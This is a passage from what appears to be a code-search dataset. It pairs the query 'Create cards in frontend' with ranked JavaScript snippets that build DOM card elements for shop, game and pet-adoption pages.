deleteButton.onclick = function(){\n var deleteIndex = this.parentNode.id;\n storedList.splice(deleteIndex, 1);\n localStorage.setItem(\"myWishList\", JSON.stringify(storedList));\n document.location.reload();\n };\n deleteButton.innerHTML = \"X\";\n\n wlItem.appendChild(wlItemImg);\n wlItem.appendChild(wlItemTitle);\n wlItem.appendChild(wlItemFrosting);\n wlItem.appendChild(wlItemMethod);\n wlItem.appendChild(wlItemQuantity);\n wlItem.appendChild(wlItemPrice);\n wlItem.appendChild(deleteButton);\n\n targetLocation.appendChild(wlItem);\n }\n }\n}", "title": "" }, { "docid": "51b59aa27648b1eaa76f369723971a24", "score": "0.59758586", "text": "function show_playlist(playlist) {\n\t\tvar list = '';\n\t\tplaylist.forEach(function(song) {\n\t\t\tlist += '<li>' + song.songname + '</li>';\n\t\t});\n\t\t$('#songlist').append(list);\n\t}", "title": "" }, { "docid": "e305b939d948bc2a6e3d4c2d21697fcb", "score": "0.59748536", "text": "render() {\n this.list.innerHTML = '';\n\n startingData.forEach(item => {\n this.createDomElements(item.id);\n this.li.insertAdjacentHTML('afterbegin', item.authorLast+\", \"+item.authorFirst+\". \"+\"<i>\"+item.title+\". \"+\"</i>\"+item.publisher+\": \"+item.year+\".\");\n this.list.appendChild(this.li);\n });\n }", "title": "" }, { "docid": "76a551ddee4718dde03955ace43ccb9a", "score": "0.59727055", "text": "function displayItems() {\n connection.query(\"SELECT * FROM products\", function(err, res) {\n if (err) {\n throw err;\n } else {\n console.table(res);\n }\n shopping();\n \n });\n \n}", "title": "" } ]
d57878b51caf6a871dc9b7f9d8b178b7
Create cards in frontend
[ { "docid": "10e8d3f792f8b5cd42b025d8de27bfc0", "score": "0.0", "text": "static createCards(cardsData){\n cardsData.forEach((data, i) => {\n let array = [true, false]\n const upright = array[Math.floor(Math.random() * array.length)];\n Card.create(data.id, data.name_short, data.name, data.value, data.value_int, data.meaning_up, data.meaning_rev, data.desc, data.suit, data.card_type, upright, data.image_url)\n });\n }", "title": "" } ]
[ { "docid": "882b801d68f41ea6705c25fa8f20eff2", "score": "0.76984745", "text": "function createCard(cards){\n cards.forEach(card => {\n \n var carte = document.createElement('div');\n carte.classList.add('card');\n var img = document.createElement('img');\n img.setAttribute('src', card.img);\n img.classList.add('card-img-top');\n carte.append(img);\n var cardBody = document.createElement('div');\n cardBody.classList.add('card-body');\n cardBody.setAttribute('data-id', card.id);\n cardBody.setAttribute('data-name', card.title);\n cardBody.setAttribute('data-price', card.prix);\n carte.append(cardBody);\n var cardTitle = document.createElement('h5');\n cardTitle.classList.add('card-title');\n cardTitle.innerText = card.title;\n cardBody.append(cardTitle);\n var cardText = document.createElement('p');\n cardText.classList.add('card-text');\n cardText.innerText = \"Prix : \" + card.prix + \" €\";\n cardBody.append(cardText);\n var cardButton = document.createElement('button');\n cardButton.classList.add('btn', 'btn-primary', 'add');\n cardButton.setAttribute('type', 'button');\n cardButton.innerText = \"Ajouter au panier\";\n cardBody.append(cardButton);\n var section = document.querySelector('#products');\n section.append(carte);\n\n });\n}", "title": "" }, { "docid": "37e52091cd00f047af9e702a4357dc5a", "score": "0.7568944", "text": "function createCard(data) {\n var $cardInstance = $(\"#contentCardTemplate\").clone();\n $cardInstance.css('display', '');\n if (data.appIcon) $cardInstance.find('#cardImage').attr('src', data.appIcon);\n if (data.contentType) $cardInstance.find('#cardLabelRight').text(data.contentType);\n if (data.badgeAssertions && data.badgeAssertions.length) {\n var isOfficial = data.badgeAssertions.find(function (data) {\n return data.badgeClassName === \"OFFICIAL\"\n });\n if (isOfficial) {\n $cardInstance.find('#cardLabelLeft').text('OFFICIAL');\n }\n } else {\n $cardInstance.find('#cardLabelLeft').remove();\n }\n if (data.mimeType === 'application/vnd.ekstep.content-collection') {\n $cardInstance.find('#linkCard').attr('href', hostURL + '/play/collection/' + data.identifier)\n } else {\n $cardInstance.find('#linkCard').attr('href', hostURL + '/play/content/' + data.identifier)\n }\n if (data.name) $cardInstance.find('#cardType').text(data.name);\n if (data.description) $cardInstance.find('#cardContentHeader').text(data.description);\n $(\"#cardListHolder\").append($cardInstance);\n }", "title": "" }, { "docid": "d38086058d07d2244febae1cdb82df0e", "score": "0.7529876", "text": "function createCards()\n {\n\n const card = new Object;\n const files = document.querySelector(\".dlImg\").files;\n card.id = document.querySelector(\".categorieForm\").value;\n card.title = document.querySelector(\".titleForm\").value;\n card.imageUrl = window.URL.createObjectURL(files[0])\n \n gallery.appendChild(createCard(card));\n if (sessionStorage.getItem('token'))\n {\n\n contenerGallery.appendChild(createMiniCard(card));\n\n }\n\n }", "title": "" }, { "docid": "5e4d5b92803ccf647bd9846dde2461bf", "score": "0.7450712", "text": "function createCards() {\n for (let i = 0; i < cards.length; i++) {\n var card = cards[i];\n $(`<li id=${card.id}>\n <img src=\"images/background.png\" class=\"back\" />\n <img src=\"${card.img}\" class=\"front hidden\" />\n </li>`).appendTo($('.game-board'));\n }\n }", "title": "" }, { "docid": "c15ac3a884e7f3a2a908ffff591430fa", "score": "0.7399021", "text": "function createCards() {\n let container = document.querySelector(\".cards\");\n\n fetch(\"https://safe-stream-00881.herokuapp.com/view-all/\").then(\n (request) => {\n request.json().then((obj) => {\n console.log(obj);\n data = obj.data;\n console.log(data);\n container.innerHTML = ``;\n let index = 0;\n data.forEach((comic) => {\n container.innerHTML += `<div class=\"card\">\n <div class=\"title\">\n <h2> ${comic[1]}</h2>\n </div>\n <div class=\"rest\">\n <div class=\"comic-buttons\">\n <button onclick=\"viewComic(${comic[0]})\" class=\"viewbtn-${comic[0]}\">View</button>\n <button onclick=\"addToCart(${comic[0]})\" class=\"AtCbtn-${comic[0]}\">Add to cart</button>\n </div>\n <h4>R ${comic[3]}.00</h4>\n </div>\n </div>`;\n console.log(index);\n index++;\n });\n });\n }\n );\n}", "title": "" }, { "docid": "b77259af08b68044d1a01504e47da357", "score": "0.7307636", "text": "function createCard() {\n card =\n `<div class=\"container\">\n <div class=\"box\">\n <h2 class=\"name\">${pokemon.name}</h2>\n <a href=\"#\" class=\"edit\">Nº ${pokemon.id}</a>\n <div class=\"circle\"></div>\n <img src=\"${pokemon.sprites.front_default}\" class=\"deckbox\" alt=\"Sprite of ${pokemon.name}\">\n </div>\n </div>`;\n \n return card;\n}", "title": "" }, { "docid": "5ba1d28ad33b273508e96c6c6b1ecdba", "score": "0.7251538", "text": "function generateCards(cards) {\n const container = document.getElementById('cards');\n\n //Used the following keys to create cards: name, imageUrl and id.\n cards.forEach(element => {\n const newCard = document.createElement('div');\n const { name, imageUrl, id } = element;\n newCard.setAttribute('class', 'col-sm-4');\n\n const newCardContainer = document.createElement('div');\n newCardContainer.setAttribute('class', 'card-container');\n\n const h4 = document.createElement('h4');\n h4.textContent = name;\n\n const cardIMG = document.createElement('img');\n cardIMG.style.width = '100%';\n //Test to see if the imageUrl value is undefined, if the value is undefined, please use a placeholder image instead.\n if (typeof imageUrl === 'undefined') {\n cardIMG.src = 'https://via.placeholder.com/223x310';\n } else {\n cardIMG.src = imageUrl;\n }\n\n const viewMore = document.createElement('a');\n viewMore.setAttribute('class', 'btn btn-success');\n viewMore.textContent = 'View More';\n //Passed in id as a query string in the URL.\n viewMore.href = `card-specific.html?id=${id}`;\n\n //Append all the data to the div with the “cards” ID attached to it.\n container.appendChild(newCard);\n newCard.appendChild(newCardContainer);\n newCardContainer.appendChild(h4);\n newCardContainer.appendChild(cardIMG);\n newCardContainer.appendChild(viewMore);\n });\n}", "title": "" }, { "docid": "375fdc91de93d0d3da70d27f011252da", "score": "0.72017634", "text": "function createCards() {\n let container = document.querySelector(\".cards\");\n\n fetch(\"https://frozen-ocean-71631.herokuapp.com/get-cart/\").then(\n (request) => {\n request.json().then((obj) => {\n console.log(obj);\n data = obj.data;\n console.log(data);\n container.innerHTML = ``;\n let index = 0;\n data.forEach((product) => {\n container.innerHTML += `<div class=\"card\">\n <img src=\"https://picsum.photos/200/200?random=${product[0]}\" alt=\"${product[1]}\">\n <h2> ${product[1]}</h2>\n <p>${product[2]}</p>\n <h4>${product[3]}</h4>\n <button onclick=\"addToCart(${product[0]})\" class=\"btn-Add btn-Add-${product[0]}\" id=\"btns\">Add to cart</button>\n <button onclick=\"showEdit(${index})\" class=\"btn-edit\" id=\"btns\">Edit</button>\n <button onclick=\"deleteProduct(${product[0]})\" class=\"btn-delete\" id=\"btns\">Delete</button>\n </div>`;\n console.log(index);\n index++;\n });\n });\n }\n );\n}", "title": "" }, { "docid": "2ff85dd872afab5d8f8b9f59d001dad3", "score": "0.71959287", "text": "function createCards() {\r\n for (const key of Object.keys(avengers)) {\r\n\r\n var card = document.createElement(\"div\");\r\n card.className += \" card border-0\";\r\n\r\n var card_img = document.createElement(\"img\");\r\n card_img.className += \" card-img-top img-fluid\";\r\n card_img.setAttribute(\"src\", avengers[key].img);\r\n\r\n card.append(card_img);\r\n\r\n var card_body = document.createElement(\"div\");\r\n card_body.className += \" card-body\";\r\n\r\n var card_title = document.createElement(\"h4\");\r\n card_title.className += \" card-title text-capitalize\";\r\n card_title.innerText = avengers[key].name;\r\n\r\n card_body.append(card_title);\r\n\r\n var card_text = document.createElement(\"p\");\r\n card_text.className += \" card-text\";\r\n\r\n card_body.append(card_text);\r\n\r\n card.append(card_body);\r\n\r\n $('.card-column').append(card);\r\n\r\n }\r\n\r\n\r\n\r\n}", "title": "" }, { "docid": "065644b691d8efc60ab495f715928be9", "score": "0.7166118", "text": "function createCard (idea) {\n $ideaList.prepend(`<article class=\"newIdea\" id=${idea.id}\n <div id=\"card-top\">\n <h2 id=\"card-title\" contentEditable>${idea.title}</h2>\n <input id=\"card-button delete\" type=\"button\">\n </div>\n <div id=\"card-middle\">\n <p class=\"card-body\" contentEditable>${idea.body}</p>\n </div>\n <div id=\"card-bottom\">\n <input id=\"card-button upvote\" type=\"button\">\n <input id=\"card-button downvote\" type=\"button\">\n <div class\"card-quality\n\n `);\n}", "title": "" }, { "docid": "a905a60516638813277cfdb939ddf8b9", "score": "0.71368206", "text": "function createUserCards(data){\n $.each(data, function(index, item){\n appendCard(index, item);\n })\n }", "title": "" }, { "docid": "e0d2527f9cbec92823aabed1e9c913ac", "score": "0.70851785", "text": "createCards() {\n const flashcardContainer = document.querySelector('#flashcard-container');\n const words = this.deck.words;\n for (const word in words) {\n const definition = words[word];\n // instantiate new Flashcard and add it to cards array\n const card = new Flashcard(flashcardContainer, word, definition, this);\n this.cards.push(card);\n }\n this.cards[this.cardNum].show();\n }", "title": "" }, { "docid": "13e5f636fb524b71157a9582e8650580", "score": "0.708424", "text": "function addCards() {\n fetch(\"/catalogue\")\n .then(checkStatus)\n .then(resp => resp.json())\n .then(showCards)\n .catch(() => {\n displayStatus(\"Something went wrong getting the catalogue, try refreshing!\");\n });\n }", "title": "" }, { "docid": "276630da50610e4735786e30991315a8", "score": "0.7076452", "text": "function createCard() {\n var $card = $('<li>').addClass('card');\n var $cardDesription = $('<p>').addClass('card-description').text(self.description);\n var $cardDelete = $('<buttion>').addClass('btn-delete').append('<i class=\"far fa-times-circle\"></i>');\n // COMBINING BLOCKS AND RETURNING THE CARD\n $cardDelete.click(function () {\n self.removeCard();\n })\n\n $card.append($cardDelete)\n .append($cardDesription);\n return $card;\n }", "title": "" }, { "docid": "4e8bbe6a52b871df0da90b72a8c0721f", "score": "0.7069809", "text": "function createcards() {\n for (let i = 0; i < foodFave.length; i++) {\n var loop = foodFave[i];\n var card = $(\"<card>\");\n var cardimg = $(\"<img>\");\n var header = $(\"<h5>\");\n\n cardimg.attr(\"height\", \"200px\");\n cardimg.attr(\"width\", \"200px\");\n header.text(loop.title);\n cardimg.attr(\"src\", loop.img);\n\n card.prepend(cardimg);\n card.append(header);\n\n $(\"#food\").append(card);\n }\n}", "title": "" }, { "docid": "48767bb8d117b96c71582dbe7aed753f", "score": "0.70653635", "text": "function createCards(data) {\n for (let i = 0; i < data.length; i++) {\n // Variables to create cards\n // const dashboard = $(\"#dashboard\");\n const mainColumn = $(\"<div>\").addClass(\n \"column is-3 is-mobile is-two-thirds-tablet is-half-desktop is-one-third-widescreen is-one-quarter-fullhd\"\n );\n const newCard = $(\"<div>\").addClass(\"card\");\n const cardImageDiv = $(\"<div>\").addClass(\"card-image\");\n const figure = $(\"<figure>\").addClass(\"image\");\n const cardImage = $(\"<img>\")\n .attr(\"src\", data[i].imageLink)\n .attr(\"style\", \"width: 100%\")\n .addClass(\"dog-image\");\n const cardContent = $(\"<div>\").addClass(\"card-content\");\n const columns = $(\"<div>\").addClass(\"columns\");\n const columnOne = $(\"<div>\").addClass(\"column is-full pr-0\");\n const spanColumns = $(\"<div>\").addClass(\"columns\");\n const dogNameColumn = $(\"<div>\").addClass(\"column is-8\");\n const treatPointsColumn = $(\"<div>\").addClass(\"column is-4\");\n const media = $(\"<div>\").addClass(\"media\");\n const mediaContent = $(\"<div>\").addClass(\"media-content\");\n const dogName = $(\"<h3>\").addClass(\"title is-4\").text(data[i].dogName);\n const dogInfo = $(\"<div>\").addClass(\"content\");\n const ulElement = $(\"<ul>\");\n const liCity = $(\"<li>\").text(data[i].city + \" 📍\");\n const liDogAge = $(\"<li>\").text(data[i].dogAge + \" 🎂\");\n const liDogBreed = $(\"<li>\").text(data[i].dogBreed + \" 🐶\");\n const liFriendliness = $(\"<li>\").text(data[i].friendliness + \" 😄\");\n const liVaccinated = $(\"<li>\");\n // Determine if dog is vaccinated\n if (data[i].dogVaccinated) {\n liVaccinated.text(\"Vaccinated 💉\");\n } else {\n liVaccinated.text(\"Not Vaccinated 💉\");\n }\n const boneIcon = $(\"<i>\").addClass(\"fas fa-bone fa-lg\");\n const treatPoints = $(\"<p>\")\n .text(\" \" + data[i].treatPoints)\n .attr(\"style\", \"display: inline\");\n const buttonDiv = $(\"<div>\").addClass(\"has-text-centered\");\n const connectButton = $(\"<button>\")\n .addClass(\"button connect-btn is-large mt-5\")\n .text(\"Connect!\")\n .attr(\"data-id\", data[i].id);\n\n // Appending all the elements to the dashboard.handlebars\n figure.append(cardImage);\n cardImageDiv.append(figure);\n newCard.append(cardImageDiv);\n dogNameColumn.append(dogName);\n treatPointsColumn.append(boneIcon);\n treatPointsColumn.append(treatPoints);\n spanColumns.append(dogNameColumn);\n spanColumns.append(treatPointsColumn);\n mediaContent.append(spanColumns);\n mediaContent.append(dogInfo);\n ulElement.append(liCity);\n ulElement.append(liDogAge);\n ulElement.append(liDogBreed);\n ulElement.append(liFriendliness);\n ulElement.append(liVaccinated);\n dogInfo.append(ulElement);\n media.append(mediaContent);\n columnOne.append(media);\n columns.append(columnOne);\n cardContent.append(columns);\n newCard.append(cardContent);\n mainColumn.append(newCard);\n buttonDiv.append(connectButton);\n mainColumn.append(buttonDiv);\n dashboard.append(mainColumn);\n }\n\n $(\".connect-btn\").on(\"click\", function (event) {\n event.preventDefault();\n const userOneId = localStorage.getItem(\"currentUserID\");\n const userTwoId = $(this).data(\"id\");\n\n $(\".connect-modal\").addClass(\"is-active\");\n $(\"#connect-name\").text(\n \"You're one step closer to finding a fur-ever friend!\"\n );\n\n //post route to grab and store two user ids\n $.post(\"/api/connections\", {\n userOneId: userOneId,\n userTwoId: userTwoId,\n }).then((response) => {});\n\n $(\".cancel-button\").on(\"click\", function (event) {\n event.preventDefault();\n location.reload();\n });\n\n $(\".connections-button\").on(\"click\", function (event) {\n event.preventDefault();\n window.open(\"/connections/\" + userOneId, \"_self\");\n });\n });\n }", "title": "" }, { "docid": "26c05a63537fac5bf755d3972ec9eb98", "score": "0.7041413", "text": "function createNewDeck() {\n cleanSlate();\n cards = shuffle(cards);\n for (let i = 0; i < cards.length; i++) {\n let card = document.createElement('li');\n card.className = 'card';\n card.innerHTML = cards[i];\n deckOfCards.appendChild(card);\n }\n}", "title": "" }, { "docid": "e8418b5c6da35e0001e545b7d5ca1ae6", "score": "0.7037768", "text": "function createVACard(staff) {\n //the VA card\n let card = document.createElement(\"div\");\n card.classList.add(\"card\", \"mr-5\", \"ml-5\", \"border\", \"border-secondary\");\n if (aos) {\n card.setAttribute(\"data-aos\", \"zoom-in\");\n }\n //the VA's picture, wrapped in a link\n let vaImageAnchor = document.createElement(\"a\");\n vaImageAnchor.href = staff.siteUrl;\n vaImageAnchor.target = \"_blank\";\n let vaImage = document.createElement(\"img\");\n vaImage.classList.add(\"card-img\");\n vaImage.id = staff.name.full.replace(/\\s+/g, \"\");\n vaImage.src = staff.image.large;\n vaImage.alt = staff.name.full;\n\n //add the VA picture to the link\n vaImageAnchor.appendChild(vaImage);\n\n //the card body\n let cardBody = document.createElement(\"div\");\n cardBody.classList.add(\"card-body\");\n\n //the VA's name in romaji, wrapped in a link\n let vaNameAnchor = document.createElement(\"a\");\n vaNameAnchor.href = staff.siteUrl;\n vaNameAnchor.target = \"_blank\";\n let vaNameText = document.createElement(\"h5\");\n vaNameText.classList.add(\"card-title\");\n vaNameText.textContent = staff.name.full;\n\n //add the VA's romaji name to the link\n vaNameAnchor.appendChild(vaNameText);\n\n //the VA's name in kanji, wrapped in a link\n let vaNameNativeAnchor = document.createElement(\"a\");\n vaNameNativeAnchor.href = staff.siteUrl;\n vaNameNativeAnchor.target = \"_blank\";\n let vaNameNativeText = document.createElement(\"small\");\n vaNameNativeText.classList.add(\"text-muted\");\n vaNameNativeText.textContent = staff.name.native;\n\n //add the VA's kanji name to the link\n vaNameNativeAnchor.appendChild(vaNameNativeText);\n\n //add the VA's names to the card body\n cardBody.appendChild(vaNameAnchor);\n cardBody.appendChild(vaNameNativeAnchor);\n\n //add the image and body to the card\n card.appendChild(vaImageAnchor);\n card.appendChild(cardBody);\n\n return card;\n }", "title": "" }, { "docid": "77413a3d85693fb73d49d49ddad567e0", "score": "0.70286506", "text": "function initialiseCards() {\n let i = 0\n\tcardsContainer.innerHTML = '';\n\tcardArr.forEach((card) => {\n i++\n\t\t// GENERATE HTML ELEMENT\n\t\tcardsContainer.insertAdjacentHTML(\n\t\t\t'beforeend',\n\t\t\t`\n <div class=\"card\" id = ${card.index}>\n <div class=\"card__content\">\n <div class=\"card__side card__side--front\">\n \n <div class=\"card__buttons\">\n <p class = \"card__side-label\">${i}. front<p>\n <a class=\"card__buttons--edit\"> <svg class=\"card__icon\">\n <use xlink:href=\"img/sprite.svg#icon-new-message\"></use>\n </svg></a>\n <a class=\"card__buttons-delete\"><svg class=\"card__icon\">\n <use xlink:href=\"img/sprite.svg#icon-trash\"></use>\n </svg></a>\n </div>\n\n <h2 class=\"heading-secondary\">\n ${card.question}\n </h2>\n </div>\n \n <div class=\"card__side card__side--back\">\n <p class = \"card__side-label card__side-label--back\">${i}. Back<p>\n <p class=\"card__answer\">\n ${card.answer}\n </p>\n </div>\n \n </div>\n </div>\n\n `\n\t\t);\n\t});\n\t// ADD CARD FUNCTIONALITY\n\taddCardFunctionality();\n}", "title": "" }, { "docid": "a7e6b8651dd212a54056d8de6aab6660", "score": "0.7012041", "text": "function createGameBoardCards(){\n randomizeCards();\n \n for(var cardIndex=0; cardIndex < cards.length; cardIndex++){\n var card = $('<div>').addClass('card');\n var front = $('<div>').addClass('card-front');\n var frontImage = $('<img>', {\n class: 'image-size',\n src: cards[cardIndex],\n });\n var back = $('<div>').addClass('card-back');\n var backImage = $('<img>', {\n class: 'background-image-size',\n src: 'images/npslogo.png'\n });\n front.append(frontImage);\n card.append(front);\n back.append(backImage);\n card.append(back);\n $('.game-area-container').append(card);\n }\n }", "title": "" }, { "docid": "623a5e73c23a4b86e6330b3b8e9bd365", "score": "0.7009236", "text": "createCard(){\n return template(this);\n }", "title": "" }, { "docid": "e768b55c8071c974b6e5f917445c0ffb", "score": "0.6987143", "text": "function createCard(cardObj) {\n const newCard = document.createElement(\"div\");\n newCard.classList.add(\"card\");\n newCard.id = cardObj.cardNo;\n // creates required number of symbols (1, 2 or 3) for one card\n for(let i = 0; i < cardObj.repeat; i++) {\n const symbol = document.createElement(\"div\");\n symbol.classList.add(\"symbol\");\n symbol.style.border = `2px solid rgb(${cardObj.color})`;\n symbol.style.backgroundColor = `rgba(${cardObj.color}, ${cardObj.fill})`;\n symbol.style.borderRadius = cardObj.shape;\n newCard.append(symbol);\n }\n newCard.addEventListener(\"click\", selectCard);\n return newCard;\n}", "title": "" }, { "docid": "cb133a5d50e96e507943a44e7210de4e", "score": "0.6985863", "text": "function generateCards(jsonObject) {\n jsonObject.forEach(function (element) {\n\n const newCard = document.createElement(\"div\");\n newCard.setAttribute(\"class\", \"col-sm-4\");\n\n const newCardContainer = document.createElement(\"div\");\n newCardContainer.setAttribute(\"class\", \"card-container\");\n\n const h4 = document.createElement(\"h4\");\n h4.textContent = element.name;\n\n const cardIMG = document.createElement(\"img\");\n cardIMG.style.width = \"100%\";\n if (typeof element.imageUrl === \"undefined\") {\n cardIMG.src = \"https://via.placeholder.com/223x310\";\n } else {\n cardIMG.src = element.imageUrl;\n }\n\n const viewMore = document.createElement(\"a\");\n const cardID = element.id;\n viewMore.setAttribute(\"class\", \"btn btn-success\");\n viewMore.textContent = \"View More\";\n //Passed in id as a query string in the URL.\n viewMore.href = \"card-specific.html?id=\" + cardID;\n\n //Append all the data to the div with the “cards” ID attached to it.\n container.appendChild(newCard);\n newCard.appendChild(newCardContainer);\n newCardContainer.appendChild(h4);\n newCardContainer.appendChild(cardIMG);\n newCardContainer.appendChild(viewMore);\n\n });\n}", "title": "" }, { "docid": "3c0c10bda2aa5c9012d96e6b9daffc87", "score": "0.6973026", "text": "function createNewCard(data){\r\n var addedCard= $(\"<div>\").addClass(\"added-card\")\r\n var orderImage=$(\"<img>\").attr(\"src\",data.preview).addClass(\"checkout-img\")\r\n var orderDetails=$(\"<div>\")\r\n var orderTitle=$(\"<h2>\").html(data.name).addClass(\"checkout-title\")\r\n var orderQuantity=$(\"<p>\").html(\"x\" + data.count).addClass(\"checkout-para\")\r\n var orderAmountWrapper=$(\"<p>\").addClass(\"checkout-para\")\r\n var orderAmount= $(\"<span>\").html(\"Amount: Rs \")\r\n var orderPrice=$(\"<span>\").html(parseFloat(data.count)*parseFloat(data.price))\r\n orderAmountWrapper.append(orderAmount,orderPrice)\r\n orderDetails.append(orderTitle,orderQuantity,orderAmountWrapper)\r\n addedCard.append(orderImage,orderDetails)\r\n $(\"#card-wrapper\").append(addedCard)\r\n }", "title": "" }, { "docid": "6f1098adaa69977581df1bee4234a210", "score": "0.69514173", "text": "displayCards() {\n this.cardsDeck.forEach((card, index) => {\n const htmlCard = `\n <div class=\"card-wrapper\">\n <div class=\"card card-clickable\" id=\"${index}\" data-fruit=\"${card}\">\n <div class=\"card-img fruit-${card}\">\n </div>\n </div>\n </div>\n `;\n this.$board.find('.cards-board').append(htmlCard)\n })\n }", "title": "" }, { "docid": "1d4753e77bcf2d4480afd3174c55d34c", "score": "0.69379205", "text": "function createCards(data){\n if(data.success == false){\n\n getOverlay('open','generic-error');\n return;\n }\n\n //get and set orderId\n id = data.orderId;\n $('.order-id').html(id);\n hasTypes = data.serviceTypes;\n\n available = data.available;\n //console.log('Available: ' + available);\n\n var packageHolder = $('#packages');\n //do stuff needed to create card\n $.each(data.combinations,function(k,v){\n packageHolder.append( createCard(v) );\n });\n\n changePage(2);\n navButton(2);\n tabs.eq(0).trigger(\"click\");\n serviceData = data;\n\n var address = data.address.address1 + \" \" + data.address.address2 + \", \" + data.address.city + \" \" + data.address.state + \", \" + data.address.originalZip;\n $('.billing-address span.color-blue').html(address);\n\n var local = {\n \"street1\" : data.address.address1,\n \"apt1\" : data.address.address2,\n \"city1\" : data.address.city,\n \"state1\" : data.address.state,\n \"zipcode1\" : data.address.originalZip\n };\n updateReviewOrder(local);\n\n getOverlay('close','service-qual');\n }", "title": "" }, { "docid": "6bf0b5390d4e098d1dfb02bbfe56041b", "score": "0.6927736", "text": "function createPFCard(number){\n var finalCard = $(\"<div>\");\n finalCard.attr(\"data-number\", number);\n finalCard.addClass(\"card card1 medium hoverable\");\n\n var newDiv1 = $(\"<div>\");\n newDiv1.addClass(\"card-image waves-effect waves-block waves-light\");\n var titleImg = $(\"<img>\");\n titleImg.attr(\"src\", pfDetailArr[number].image_path);\n titleImg.addClass(\"activator valign-wrapper\");\n newDiv1.append(titleImg);\n\n var cardContent = $(\"<div>\");\n cardContent.addClass(\"card-content\");\n var newSpan2 = $(\"<span>\");\n newSpan2.addClass(\"ct card-title activator grey-text text-darken-4\");\n newSpan2.css({\n \"color\": \"black\",\n \"font-weight\": \"bold\"\n });\n newSpan2.text(pfDetailArr[number].Title);\n cardContent.append(newSpan2);\n\n\n var cardReveal = $(\"<div>\");\n cardReveal.addClass(\"card-reveal\");\n var newSpan3 = $(\"<span>\");\n newSpan3.addClass(\"card-title grey-text text-darken-4\");\n newSpan3.text(pfDetailArr[number].Title);\n var cardHeading = $(\"<h5>\");\n cardHeading.text(pfDetailArr[number].Heading);\n var closeIcon = $(\"<i>\");\n newSpan3.append(closeIcon);\n closeIcon.addClass(\"material-icons right\");\n closeIcon.text(\"close\");\n var descriptorParagraph = $(\"<p>\");\n descriptorParagraph.addClass(\"flow-text\");\n descriptorParagraph.text(pfDetailArr[number].Body);\n var techUsedParagraph = $(\"<p>\");\n techUsedParagraph.addClass(\"flow-text\");\n techUsedParagraph.text(pfDetailArr[number].Tech);\n // ATTACH PARAGRAPHS TO CARD REVEAL DIV\n cardReveal.append(newSpan3);\n cardReveal.append(cardHeading);\n cardReveal.append(descriptorParagraph);\n cardReveal.append(techUsedParagraph);\n // ADD PROJECT LINK\n var cardAction = $(\"<div>\");\n\n cardAction.addClass(\"card-action\");\n var herokuATag = $(\"<a/>\", {\n target: \"_blank\",\n href: pfDetailArr[number].heroku_url,\n text: \"Check It Out!\"\n });\n // var herokuATag = $(\"<a>\");\n // herokuATag.attr(\"href\", pfDetailArr[number].heroku_url);\n // herokuATag.attr(\"target\", \"_blank\");\n cardAction.append(herokuATag);\n\n finalCard.append(newDiv1);\n finalCard.append(cardContent);\n finalCard.append(cardReveal);\n finalCard.append(cardAction);\n finalCard.css({\n \"transform\": \"translateX(150%)\",\n \"transition\": \"1s\"\n });\n $(\".pf-detail\").html(finalCard);\n\n }", "title": "" }, { "docid": "72e1946d2e706130da900e9a1e1a9f66", "score": "0.6927425", "text": "function crearCard(producto){\n let div = document.createElement(\"div\");\n div.id = `ID ${producto.id}`;\n div.className = ('row', 'col-lg-4', 'animate__animated animate__flip animate__delay-5s')\n div.style = \"width: 18rem\"\n div.innerHTML = ` <div class=\"card m-3\">\n <div class=\"card-body\">\n <img src=\"${producto.imagen}\" class=\"card-img-top p-3\" alt=\"${producto.nombre}\" >\n <h2 class=\"card-title nombre\">${producto.nombre}</h2>\n <p class=\"card-text texto\">Precio: $${producto.precio}</p>\n <button id=\"${producto.id}\" class=\"comprar btn btn-dark\">COMPRAR</button>\n </div>\n </div>`\n \n containerMain.appendChild(div);\n }", "title": "" }, { "docid": "5c5b0ca3a4cc62ac5b22b0c63145565c", "score": "0.6920171", "text": "function addCard() {\n \n $(\"#hand\").append(tmpl(\"card_template\", {\"id\": \"the id\"}));\n}", "title": "" }, { "docid": "59951e569bfc1f4cc5d52d1f36dc8dab", "score": "0.6913329", "text": "function showCards(cards) {\n \n $result.empty();\n \n for (var i = 0; i < cards.length; i++) {\n var card = cards[i];\n \n $result.append($('<div class=\"golive golive' + card.golive + '\">' + card.name + \n '<br>' + 'Go Live ' + card.golive + '<br><br>' + \n '<a href=\"https://jira.berkeley.edu/browse/SISRP-' + \n card.jiraNumber + '\">' + card.jiraNumber + '</a>' + \n '</div>'));\n }\n }", "title": "" }, { "docid": "70134664185701cfa27490d9a8765898", "score": "0.6899288", "text": "function createCard(image, name, description, price) {\n\n \n const divProductos = document.getElementById(\"divProductos\");\n const divCard = document.createElement(\"div\");\n divCard.setAttribute(\"class\", \"card\");\n\n const img = document.createElement(\"img\");\n img.setAttribute(\"class\", \"card-img-top\");\n img.setAttribute(\"src\", image);\n img.setAttribute(\"alt\", name);\n divCard.appendChild(img);\n\n const divBody = document.createElement(\"div\");\n divBody.setAttribute(\"class\", \"card-body\");\n const h5c = document.createElement(\"h5\");\n h5c.setAttribute(\"class\", \"card-title\");\n const t5 = document.createTextNode(name);\n h5c.appendChild(t5);\n divBody.appendChild(h5c);\n const pd = document.createElement(\"p\");\n pd.setAttribute(\"class\", \"card-text des\");\n const tdes = document.createTextNode(description);\n pd.appendChild(tdes);\n divBody.appendChild(pd);\n const pp = document.createElement(\"p\");\n pp.setAttribute(\"class\", \"card-text pre\");\n const tpre = document.createTextNode(\"$ \" + price);\n pp.appendChild(tpre);\n divBody.appendChild(pp);\n const but = document.createElement(\"a\");\n but.setAttribute(\"class\", \"btn btn-primary\");\n but.setAttribute(\"type\", \"button\");\n const tbut = document.createTextNode(\"Add to cart\");\n but.appendChild(tbut);\n divBody.appendChild(but);\n\n divCard.appendChild(divBody);\n\n divProductos.appendChild(divCard);\n\n}", "title": "" }, { "docid": "86502c18c6df7db212d9309b6e39c36c", "score": "0.68933016", "text": "function createCard() {\n\tvar createcard = document.getElementById(\"createcard\");\n\tvar fd = new FormData(createcard);\n\tfd.append(\"column_id\", refid);\n\tfd.append(\"board_id\", localStorage.getItem(\"board_id\"));\n\txhr(\"POST\", fd, \"/TrelloProject/Main/Data/CardsServlet\", handleResponse);\n}", "title": "" }, { "docid": "22271d2f1b3a33777f1cf2ccb9cd9d85", "score": "0.6890638", "text": "buildCards(dto) {\n return tardigrade.tardigradeEngine.buildNodeHtml(\"ProjectPanel\", \"cards\", dto);\n }", "title": "" }, { "docid": "aecd80ebaf0f5ab1933c2f901d8dd5d8", "score": "0.6885893", "text": "static getCards(){\n fetch(BASE_URL)\n .then(resp => resp.json())\n .then(json => {\n Card.createCards(json)\n })\n }", "title": "" }, { "docid": 